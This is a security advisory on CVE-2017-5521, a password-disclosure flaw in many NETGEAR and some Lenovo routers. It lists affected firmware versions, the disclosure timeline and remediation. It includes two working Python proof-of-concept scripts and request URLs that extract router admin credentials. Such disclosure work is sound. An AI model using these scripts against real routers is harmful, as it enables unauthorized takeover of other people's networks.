Trustwave SpiderLabs Security Advisory TWSL2017-003:
Multiple Vulnerabilities in NETGEAR Routers
 
Published: 01/30/2017
Version: 1.0
 
Vendor: NETGEAR (http://www.netgear.com/)
Product: Multiple products
 
Finding 1: Remote and Local Password Disclosure
Credit: Simon Kenin of Trustwave SpiderLabs
CVE: CVE-2017-5521
 
Version affected: 
  
# AC1450 V1.0.0.34_10.0.16 (Latest)
# AC1450 V1.0.0.22_1.0.10
# AC1450 V1.0.0.14_1.0.6
# D6400 V1.0.0.44_1.0.44 (V1.0.0.52_1.0.52 and above not affected)
# D6400 V1.0.0.34_1.3.34
# D6400 V1.0.0.38_1.1.38
# D6400 V1.0.0.22_1.0.22
# DC112A V1.0.0.30_1.0.60 (Latest)
# DGN2200v4 V1.0.0.24_5.0.8 (V1.0.0.66_1.0.66 is latest and is not affected)
# JNDR3000 V1.0.0.18_1.0.16 (Latest)
# R6200 V1.0.1.48_1.0.37 (V1.0.1.52_1.0.41 and above are not affected)
# R6200v2 V1.0.1.20_1.0.18 (V1.0.3.10_10.1.10 is latest and is not affected)
# R6250 V1.0.1.84_1.0.78 (V1.0.4.2_10.1.10 is latest and is not affected)
# R6300 V1.0.2.78_1.0.58 (Latest)
# R6300v2 V1.0.4.2_10.0.74 (V1.0.4.6_10.0.76 is latest and is patched)
# R6300v2 V1.0.3.30_10.0.73
# R6700 V1.0.1.14_10.0.29 (Latest beta)
# R6700 V1.0.0.26_10.0.26 (Latest stable)
# R6700 V1.0.0.24_10.0.18
# R6900 V1.0.0.4_1.0.10 (Latest)
# R7000 V1.0.6.28_1.1.83 (V1.0.7.2_1.1.93 is latest and is patched)
# R8300 V1.0.2.48_1.0.52
# R8500 V1.0.2.30_1.0.43 (V1.0.2.64_1.0.62 and above is patched)
# R8500 V1.0.2.26_1.0.41
# R8500 V1.0.0.56_1.0.28
# R8500 V1.0.0.20_1.0.11
# VEGN2610 V1.0.0.35_1.0.35 (Latest)
# VEGN2610 V1.0.0.29_1.0.29
# VEGN2610 V1.0.0.27_1.0.27
# WNDR3400v2 V1.0.0.16_1.0.34 (V1.0.0.52_1.0.81 is latest and is not affected)
# WNDR3400v3 V1.0.0.22_1.0.29 (V1.0.1.2_1.0.51 is latest and is not affected)
# WNDR3700v3 V1.0.0.38_1.0.31 (Latest)
# WNDR4000 V1.0.2.4_9.1.86 (Latest)
# WNDR4500 V1.0.1.40_1.0.68 (Latest)
# WNDR4500v2 V1.0.0.60_1.0.38 (Latest)
# WNDR4500v2 V1.0.0.42_1.0.25
# WGR614v10 V1.0.2.60_60.0.85NA (Latest)
# WGR614v10 V1.0.2.58_60.0.84NA
# WGR614v10 V1.0.2.54_60.0.82NA
# WN3100RP V1.0.0.14_1.0.19 (Latest)
# WN3100RP V1.0.0.6_1.0.12
 
# Lenovo R3220 V1.0.0.16_1.0.16 (Latest)
# Lenovo R3220 V1.0.0.13_1.0.13
 
 
Product description:
Multiple Netgear Routers
 
Many Netgear routers are prone to password disclosure via simple crafted 
requests to the web management server. The bug is exploitable remotely if the 
remote management option is set and can also be exploited given access to the 
router over LAN or WLAN.
 
When trying to access the web panel a user is asked to authenticate, if the 
authentication is cancelled and password recovery is not enabled, the user is
redirected to a page which exposes a password recovery token. If a user 
supplies the correct token to the page 
http://router/passwordrecovered.cgi?id=TOKEN (and password recovery is not
enabled), they will receive the admin password for the router. 
 
If password recovery is set the exploit will fail, as it will ask the user for the recovery 
questions which were previously set when enabling the feature, this is
persistent, even after disabling the recovery option the exploit will fail, 
because the router will ask for the security questions.
This can easily be reproduced using the attached poc, or by sending these two 
simple requests via the browser:
1. http://router/.../ will redirect you to http://router/..../unauth.cgi?id=TOKEN to acquire the token
2. http://router/passwordrecovered.cgi?id=TOKEN will give you credentials (some models require you to send a post request instead of get)
 
## netgore.py
import sys
import requests
 
 
def scrape(text, start_trig, end_trig):
    if text.find(start_trig) != -1:
    return text.split(start_trig, 1)[-1].split(end_trig, 1)[0]
    else:
        return "i_dont_speak_english"
#disable nasty insecure ssl warning
requests.packages.urllib3.disable_warnings()
#1st stage - get token
ip = sys.argv[1]
port = sys.argv[2]
url = 'http://' + ip + ':' + port + '/'
try:
    r = requests.get(url)
except:
    url = 'https://' + ip + ':' + port + '/'
    r = requests.get(url, verify=False)
model = r.headers.get('WWW-Authenticate')
if model is not None:
    print "Attcking: " + model[13:-1]
else:
    print "not a netgear router"
    sys.exit(0)
token = scrape(r.text, 'unauth.cgi?id=', '\"')
if token == 'i_dont_speak_english':
    print "not vulnerable"
    sys.exit(0)
print "token found: " + token
#2nd stage - pass the token - get the password
url = url + 'passwordrecovered.cgi?id=' + token
r = requests.post(url, verify=False)
#profit
if r.text.find('left\">') != -1:
    username = (repr(scrape(r.text, 'Router Admin Username</td>', '</td>')))
    username = scrape(username, '>', '\'')
    password = (repr(scrape(r.text, 'Router Admin Password</td>', '</td>')))
    password = scrape(password, '>', '\'')
    if username == "i_dont_speak_english":
        username = (scrape(r.text[r.text.find('left\">'):-1], 'left\">', '</td>'))
        password = (scrape(r.text[r.text.rfind('left\">'):-1], 'left\">', '</td>'))
else:
    print "not vulnerable becuse password recovery IS set"
    sys.exit(0)
#html encoding pops out of nowhere, lets replace that
password = password.replace("#","#")
password = password.replace("&","&")
print "user: " + username
print "pass: " + password
 
================================
Just run the PoC against a router to get the credentials if it is vulnerable.
 
 
 
Finding 2: Remote and Local Password Disclosure
Credit: Simon Kenin of Trustwave SpiderLabs
CVE: CVE-2017-5521
 
Version affected:  
 
# AC1450 V1.0.0.34_10.0.16 (Latest)
# AC1450 V1.0.0.22_1.0.10
# AC1450 V1.0.0.14_1.0.6
# D6300 V1.0.0.96_1.1.96 (Latest)
# D6300B V1.0.0.36_1.0.36
# D6300B V1.0.0.32_1.0.32
# D6400 V1.0.0.44_1.0.44 (V1.0.0.52_1.0.52 is latest and is patched)
# D6400 V1.0.0.22_1.0.22
# DC112A V1.0.0.30_1.0.60 (Latest)
# DGN2200v4 V1.0.0.76_1.0.76 (Latest)
# DGN2200v4 V1.0.0.66_1.0.66
# DGN2200Bv4 V1.0.0.68_1.0.68 (Latest)
# JNDR3000 V1.0.0.18_1.0.16 (Latest)
# R6200 V1.0.1.56_1.0.43 (Latest)
# R6200 V1.0.1.52_1.0.41
# R6200 V1.0.1.48_1.0.37
# R6200v2 V1.0.3.10_10.1.10 (Latest)
# R6200v2 V1.0.1.20_1.0.18
# R6250 V1.0.4.6_10.1.12 (Latest beta)
# R6250 V1.0.4.2_10.1.10 (Latest stable)
# R6250 V1.0.1.84_1.0.78 
# R6300 V1.0.2.78_1.0.58 (Latest)
# R6300v2 V1.0.4.2_10.0.74 (V1.0.4.6_10.0.76 is latest and is patched)
# R6300v2 V1.0.3.6_1.0.63CH (Charter Comm.)
# R6400 V1.0.0.26_1.0.14 (V1.0.1.12_1.0.11 is latest and is patched)
# R6700 V1.0.0.26_10.0.26 (Latest)
# R6700 V1.0.0.24_10.0.18
# R6900 V1.0.0.4_1.0.10 (Latest)
# R7000 V1.0.6.28_1.1.83 (V1.0.7.2_1.1.93 is latest and is patched)
# R7000 V1.0.4.30_1.1.67
# R7900 V1.0.1.8_10.0.14 (Latest beta)
# R7900 V1.0.1.4_10.0.12 (Latest stable)
# R7900 V1.0.0.10_10.0.7
# R7900 V1.0.0.8_10.0.5
# R7900 V1.0.0.6_10.0.4
# R8000 V1.0.3.26_1.1.18 (Latest beta)
# R8000 V1.0.3.4_1.1.2 (Latest stable)
# R8300 V1.0.2.48_1.0.52
# R8500 V1.0.0.56_1.0.28 (V1.0.2.64_1.0.62 and above is patched)
# R8500 V1.0.2.30_1.0.43
# VEGN2610 V1.0.0.35_1.0.35 (Latest)
# VEGN2610 V1.0.0.27_1.0.27
# VEGN2610-1FXAUS V1.0.0.36_1.0.36 (Latest)
# VEVG2660 V1.0.0.23_1.0.23
# WNDR3400v2 V1.0.0.52_1.0.81 (Latest)
# WNDR3400v3 V1.0.1.4_1.0.52 (Latest)
# WNDR3400v3 V1.0.1.2_1.0.51
# WNDR3400v3 V1.0.0.22_1.0.29
# WNDR3700v3 V1.0.0.38_1.0.31 (Latest)
# WNDR4000 V1.0.2.4_9.1.86 (Latest)
# WNDR4500 V1.0.1.40_1.0.68 (Latest)
# WNDR4500 V1.0.1.6_1.0.24 
# WNDR4500v2 V1.0.0.60_1.0.38 (Latest)
# WNDR4500v2 V1.0.0.50_1.0.30
# WNR1000v3 V1.0.2.68_60.0.93NA (Latest)
# WNR1000v3 V1.0.2.62_60.0.87 (Latest)
# WNR3500Lv2 V1.2.0.34_40.0.75 (Latest)
# WNR3500Lv2 V1.2.0.32_40.0.74
# WGR614v10 V1.0.2.60_60.0.85NA (Latest)
# WGR614v10 V1.0.2.58_60.0.84NA
# WGR614v10 V1.0.2.54_60.0.82NA
 
# Lenovo R3220 V1.0.0.16_1.0.16 (Latest)
# Lenovo R3220 V1.0.0.13_1.0.13
 
 
Many Netgear routers are prone to password disclosure via simple crafted 
request to the web management server. The bug is exploitable remotely if the 
remote management option is set and can also be exploited given access to the 
router over LAN or WLAN.
 
Netgear routers have an option to restore forgotten password via 2 security 
questions. If the recovery option is disabled (which is the default), it is
still possible to recover the password by sending a correct token to the 
recovery page. 
 
If a user supplies the correct token to the page 
http://router/passwordrecovered.cgi?id=TOKEN (and password recovery is not
enabled), they will receive the admin password for the router. If password 
recovery is set the exploit will fail, as it will ask the user for the recovery 
questions which were previously set when enabling the feature, this is
persistent, even after disabling the recovery option, the exploit will fail, 
because the router will ask for the security questions.
 
This mechanism does not work correctly on the very first request to 
"passwordrecovered.cgi" and the token is not properly checked, this means that 
any TOKEN value will result in disclosure of the password.
The issue occurs after every reboot of the router.
 
This can easily be reproduced using the attached poc, or by sending a simple 
request via the browser:
1. http://router/passwordrecovered.cgi?id=Trustwave_SpiderLabs will give you credentials (some models require you to send a post request instead of get)
 
## netgore2.py
import sys
import requests
 
def scrape(text, start_trig, end_trig):
    if text.find(start_trig) != -1:
    return text.split(start_trig, 1)[-1].split(end_trig, 1)[0]
    else:
        return "i_dont_speak_english"
#disable nasty insecure ssl warning
requests.packages.urllib3.disable_warnings()
#1st stage
ip = sys.argv[1]
port = sys.argv[2]
url = 'http://' + ip + ':' + port + '/'
try:
    r = requests.get(url)
except:
    url = 'https://' + ip + ':' + port + '/'
    r = requests.get(url, verify=False)
model = r.headers.get('WWW-Authenticate')
if model is not None:
    print "Attcking: " + model[13:-1]
else:
    print "not a netgear router"
    sys.exit(0)
#2nd stage
url = url + 'passwordrecovered.cgi?id=get_rekt'
try:
    r = requests.post(url, verify=False)
except:
    print "not vulnerable router"
    sys.exit(0)
#profit
if r.text.find('left\">') != -1:
    username = (repr(scrape(r.text, 'Router Admin Username</td>', '</td>')))
    username = scrape(username, '>', '\'')
    password = (repr(scrape(r.text, 'Router Admin Password</td>', '</td>')))
    password = scrape(password, '>', '\'')
    if username == "i_dont_speak_english":
        username = (scrape(r.text[r.text.find('left\">'):-1], 'left\">', '</td>'))
        password = (scrape(r.text[r.text.rfind('left\">'):-1], 'left\">', '</td>'))
else:
    print "not vulnerable router, or some one else already accessed passwordrecovered.cgi, reboot router and test again"
    sys.exit(0)
#html encoding pops out of nowhere, lets replace that
password = password.replace("#","#")
password = password.replace("&","&")
print "user: " + username
print "pass: " + password
 
================================
Just run the PoC against a router to get the credentials if it is vulnerable.
 
 
 
 
Remediation Steps:
Please see NETGEAR's KBA for list of firmware patches for various models. As a 
workaround, the bug only works when password recovery is NOT set. If you do set
password recovery this is not exploitable.
 
Revision History:
04/06/2016 - Vulnerability disclosed to vendor
04/19/2016 - Request for update and received confirmation of receipt of the advisories
05/18/2016 - Request for update; no response
07/14/2016 - Request for update
07/15/2016 - Notice of patch for some models and workaround KBA received along with commitment towards 100% coverage
10/17/2016 - Request for update
12/15/2016 - Notice of intent to publish advisories
01/04/2017 - Vendor responds with patch timeline and announcement of participation in Bugcrowd
01/30/2017 - Advisory published
 
 
References
1. http://c1ph04text.blogspot.com/2014/01/mitrm-attacks-your-middle-or-mine.html
2. https://www.exploit-db.com/exploits/32883/
3. http://kb.netgear.com/30632/Web-GUI-Password-Recovery-and-Exposure-Security-Vulnerability
 
 
About Trustwave:
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Australia. For more information, visit https://www.trustwave.com
 
About Trustwave SpiderLabs:
SpiderLabs(R) is the advanced security team at Trustwave focused on
application security, incident response, penetration testing, physical
security and security research. The team has performed over a thousand
incident investigations, thousands of penetration tests and hundreds of
application security tests globally. In addition, the SpiderLabs Research
team provides intelligence through bleeding-edge research and proof of
concept tool development to enhance Trustwave's products and services.
https://www.trustwave.com/spiderlabs
 
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